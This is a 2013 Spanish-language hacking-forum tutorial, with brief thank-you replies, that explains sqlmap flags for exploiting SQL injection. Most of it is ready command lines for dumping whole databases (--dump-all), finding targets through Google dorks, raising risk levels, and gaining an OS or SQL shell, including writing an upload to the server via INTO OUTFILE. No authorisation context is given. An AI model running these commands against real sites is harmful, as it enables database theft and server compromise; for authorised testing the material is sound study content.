(Actualizado) Múltiples comandos del SQLmap - (SQLmap a Fondo)

Iniciado por M5f3r0, Agosto 02, 2013, 12:37:37 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Agosto 02, 2013, 12:37:37 AM Ultima modificación: Agosto 02, 2013, 04:11:38 PM por M5f3r0
Hola gente de Underc0de, en está ocasión les vengo a enseñar sobre algunos comandos que pocos deben conocer del SQLmap, tal vez algunos los hayan visto, pero por otro lado posiblemente otros no, así que vamos para ello!! ;D.

Ciertas veces, un usuario común puede usar las mismas estrategias en dicha herramienta, en el caso del SQLmap, los comandos menos útilizados también pueden llegar a ser muy útiles, aunque vienen siendo los más desconocidos, comúnmente usamos los comandos más básicos y necesarios debido a que son los más importantes en la explotación de dicha vulnerabilidad, pero ciertas veces el SQLmap puede llegar a confundirse y tal vez lleguemos a necesitar de otros comandos para específicar mejor la vulnerabilidad y/o explotación. Entonces, este tutorial entenderemos dichos fundamentos para conocer más la herramienta a FONDO.

Explotación:

1.- El comando --url o -u

Con este comando, especificamos la url o dirección de la página vulnerable, ya sea GET o POST. Podemos usarlo como --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" o simplemente -u No tienes permitido ver los links. Registrarse o Entrar a mi cuenta , un ejemplo:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --dbs

2.- Comandos -p y --skip

Primero comenzemos con el comando -p, sirve para poder especificar el parámetro vulnerable, ej: -p "id" , estamos especificando que el parámetro dónde debe inyectar y el vulnerable es "id". Ejemplo:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" -p "id" --dbs

Y con el comando --skip, simplemente le decimos al SQLmap que cuando términe de testear el primer parámetro pase al siguiente, ejemplo:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" -p "id" --skip --dbs

3.- Método POST

En el SQLmap, también podemos llegar a especificar el tipo de método, están entre GET & POST, los post's podemos llegar a visualizarlo con algún add-on o complemento de mozilla entre otros navegadores, yo les recomiendo el Hackbar o Live HTTP Headers. Bueno, para especificar el método post hacemos uso del comando --data="" y entre las comillas, colocamos los parámetros, ejemplo:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --dbs

4.- Comandos --prefix and --suffix

Estos dos comandos, también pueden llegar a sernos útiles al momento de la explotación de una SQLi, el comando --suffix , significa "sufijo" con el cúal podemos añadir algo al final de la inyección, ya sea un comentario, entre otras cosas. Se usa de la siguiente manera:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --suffix=" -- -coment" --dbs

Y el comando --prefix="" que viene significando "prefijo" , con el que podemos especificar algo al inicio de la inyección, se usa de la siguiente manera:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --dbs

Por ejemplo hacemos uso de una comilla simple '

5.- El comando --time-sec

Con este comando, ajustamos los segundos para retrasar alguna respuesta cuando hacemos Blind SQL Injection Time Based, colocamos el comando seguidamente un número (segundos), comúnmente es el 5. Un ejemplo:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --time-sec="5" --dbs

6.- El comando --dbms

Con este comando, podemos especificar el tipo de gestor de la base de datos, entre estos se encuentran los siguientes:

- MySQL [default]
- Oracle
- PostgreSQL
- Sybase
- Microsoft SQL Server


Entre otros, pero estos son los más comúnes. Tomemos como ejemplo lo siguiente:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --dbms=mysql --dbs

7.- El comando --union-cols

Este comando tiene como útilidad, especificar un número de columnas a análizar, por ejemplo, le podemos especificar al SQLmap que analize las columnas entre la 15 y la 18 , de la siguiente manera:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --threads=3 --cookie PHPSESSID=tusesion  --union-cols="15-18" --dbs

8.- El comando --technique

--technique="" , este comando se encarga de específicar la técnica que va a utilizar el SQLmap para explotar la vulnerabilidad, entonces:

- Si la SQLi es Union Based , se especifica con una "U"
- Si la SQLi es Time Based , se especifica con una "T"
- Si la SQLi es Error Based/Double Query , se especifica con una "E"
- Si la SQLi es Blind Boolean Based , se especifica con una "B"

Como un ejemplo, podemos tomar lo siguiente:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="" --technique="U"

Extrayendo los datos:

Para empezar está fase, podemos usar VARIOS comandos que trae incorporado el SQLmap, los cúales como su nombre lo indica, son para dumpear o extraer datos.

1.- El comando --dbs

El comando --dbs es para decirle al SQLmap, que analize todos los nombres de las bases de datos que se encuentran alojadas en el servidor. Se usa de la siguiente manera:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --dbs

2.- El comando --current-db

Con este comando, podemos extraer la currente DB, es decir, la base de datos actual del servidor y se usa de la siguiente manera:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --current-db

3.- Comandos --current-user y --users

Ambos comandos, tienen la misma funcionalidad, la diferencia es que uno verifica el currente usuario que usa el actúal servidor y el otro muestra todos los nombres de los que se encuentran. un ejemplo:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --current-user

4.- El comando -D

Con este comando, especificamos el nombre de la base de datos a análizar, un ejemplo:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname

5.- El comando -T y --tables

Con el comando --tables, extraemos todos los nombres de las tablas de una base de datos especifica, por ejemplo:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname --tables

Y el comando -T , especifica algún nombre de una tabla:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname -T tablename

6.- El comando -C y --columns

Con el comando -C , especificamos el nombre de alguna columna especifica , y el comando --columns, se usa para análizar todos los nombres de las columnas de una currente tabla.

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname -T tablename -C columna

7.- El comando --dump

Con este comando, podemos llegar a dumpear todos los registros de X tabla o columna o inclusive base de datos, según como lo hayamos específicado, por ejemplo, si yo quiero extraer todos los datos que están en la columna columna de la tabla tablename de la db dbname, hago lo siguiente:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname -T tablename -C columna --dump

8.- El comando --dump-format=

Con este comando, especificamos el formato de archivo en el que el SQLmap dumpeara la base de datos, trae soportado HTML, CSV y SQLITE, un ejemplo de su uso:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname -T tablename -C columna --dump-format=CSV

9.- El comando --dump-all

Con este comando, dumpeamos TODAS las tablas de todas las bases de datos, un ejemplo de su uso:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -D dbname -T tablename -C columna --dump-all

Brute Force Mode:

1.- Comando --common-tables

Con este comando, podemos búscar los nombres de las tablas de una currente base de datos haciendo uso del modo fuerza brute, un ejemplo de su uso:

sqlmap.py -u No tienes permitido ver los links. Registrarse o Entrar a mi cuenta -p "id" -D dbname --common-tables

2.- Comando --common-columns

A diferencia del otro comando, este solo se encarga de buscar el nombre de todas las columnas de alguna tabla especifica, igualmente haciendo uso del modo fuerza bruta, un ejemplo:

sqlmap.py -u No tienes permitido ver los links. Registrarse o Entrar a mi cuenta -p "id" -D dbname -T tbname --common-columns

Otros:

1.- El comando --os-shell

Con este comando, podemos llegar a génerar un upload en un servidor web, pero son requeridas 2 cosas:

1- La folder tenga permisos de escritura.
2- Tener ciertos privilegios requeridos.
3- Tener un FPD (Full path disclosure).

Si se ha ejecutado con éxito el comando y se ha génerado el upload, se nos queda una sesión abierta con la cúal podemos hacer uso de otros comandos ya sean como los de la CMD de windows o la términal de linux.

2.- El comando --sql-shell y --sql-query

Con ambos comandos, podemos llegar a realizar sentencias SQL arbitrarias (si no me equivoco) haciendo uso de los privilegios del usuario MySQL. Por ejemplo, si yo quiero génerar un Upload con el comando --sql-shell, puedo basarme en la siguiente fórmula.

SELECT + 0xcodeuploadhex + INTO OUTFILE + FPD

Y ejecuto el comando --sql-shell en el sqlmap, y inserto los datos de arriba :).

O con el otro comando --sql-query , puedo llegar a realizar sentencias SQL arbitrarias, al igual que el anterior, ej de una consulta:

"SELECT 'foo'"

3.- El comando --random-agent

Con este comando, le especificamos al SQLmap que puede usar algún tipo de navegador aleatorio para explotar la vulnerabilidad, ejemplo:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --random-agent --dbs

4.- El comando --cookie

Con este comando, como su nombre lo indica, especificamos la cookie que estamos usando, ya sea nuestra sesión entre otras cosas. Se usa de la siguiente manera:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --cookie PHPSESSID=tusesion --dbs

5.- El comando --threads

Con este comando, especificamos el número de peticiones a realizar, podemos ir más rápido según él número que hayamos colocado, se usa de la siguiente manera:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --threads=3 --cookie PHPSESSID=tusesion --dbs

6.- El comando --privileges

Con este comando, podemos llegar a revisar TODOS los privilegios que se encuentran en el servidor MySQL, un ejemplo:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" --threads=3 --cookie PHPSESSID=tusesion  --union-cols="15-18" --privileges

7.- El comando -b

Este es uno de los comandos muy simples, con él solo extraemos la versión actúal del servidor MySQL, comúnmente es la 5. un ej:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --data="nick=test&pass=" -p "nick" --prefix="algo " --suffix=" -- -coment" -b

8.- El comando -v

Con este comando, podemos añadir un nivel de verbosidad en la línea de comandos, entre los números del 1 (default) al 6, un ejemplo:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta -u No tienes permitido ver los links. Registrarse o Entrar a mi cuenta -p "id" -v 3

9.- El comando -g

Este es otro de los comandos más sencillos del SQLmap, se usa para especificar un Google Dork, es decir, colocar algún dork de google y luego este procesara los resultados, como un target/objetivo. Ej:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta -g "inurl:index.php?id="

10.- Los comandos --level and --risk

Primero iniciemos con el comando --level, con este especificamos el nivel de testeo en el SQLmap, del 1 al 5. Y se usa de la siguiente manera:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta -u No tienes permitido ver los links. Registrarse o Entrar a mi cuenta  --dbms=mysql --level=5

Y con el comando --risk, especificamos un nivel de peligrosidad/riesgo del 1 al 3, un ejemplo de su uso:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta -u No tienes permitido ver los links. Registrarse o Entrar a mi cuenta  --dbms=mysql --level=5 --risk=3

11.- El comando --ignore-proxy

Con este comando, podemos decirle al SQLmap que ignore el proxy de un sistema HTTP, un ejemplo de su uso:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta -u http://lolololol..es/page.php?id=10 -p "id" --random-agent --ignore-proxy

12.- El comando --keep-alive

Con este comando le especificamos al SQLmap que haga uso de conexiones HTTP Persistentes, un ejemplo de su uso sería el siguiente:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta -u http://lolololol..es/page.php?id=10 -p "id" --random-agent --keep-alive

Este no es compatible con el comando --proxy

13.- El comando --null-connection

Con este comando, podemos especificarle al SQLmap de una conexión HTTP nula, ejemplo:

python No tienes permitido ver los links. Registrarse o Entrar a mi cuenta -u http://lolololol..es/page.php?id=10 -p "id" --random-agent --null-connection

Este comando no es compatible con --text-only

Y bueno, eso ha sido todo, espero les haya gustado el post y lo hayan entendido bien.

PD: A médida pase el tiempo, iré actualizando el post y añadiendo más comandos.

Saludos, M5f3r0 ;).
A veces, observo mi pasado y me arrepiento en la actualidad de todo lo que llegue a perder y olvidar por como me veía la sociedad, nunca dejes que las opiniones de los demás te lleguen a afectar moralmente hasta el punto en que dejes de hacer lo que más te apasiona, saludos! (msj escrito en el 2016)


Como dice Nyx, es un aportazo y muy útil para todos los que se dedican a esto.

Gracias por el post.

Enviado desde BlackMovil5




buen aporte, tantos comandos que contiene sqlmap, que uno luego no se acuerda de todos o simplemente algunos ni los conocia, gracias.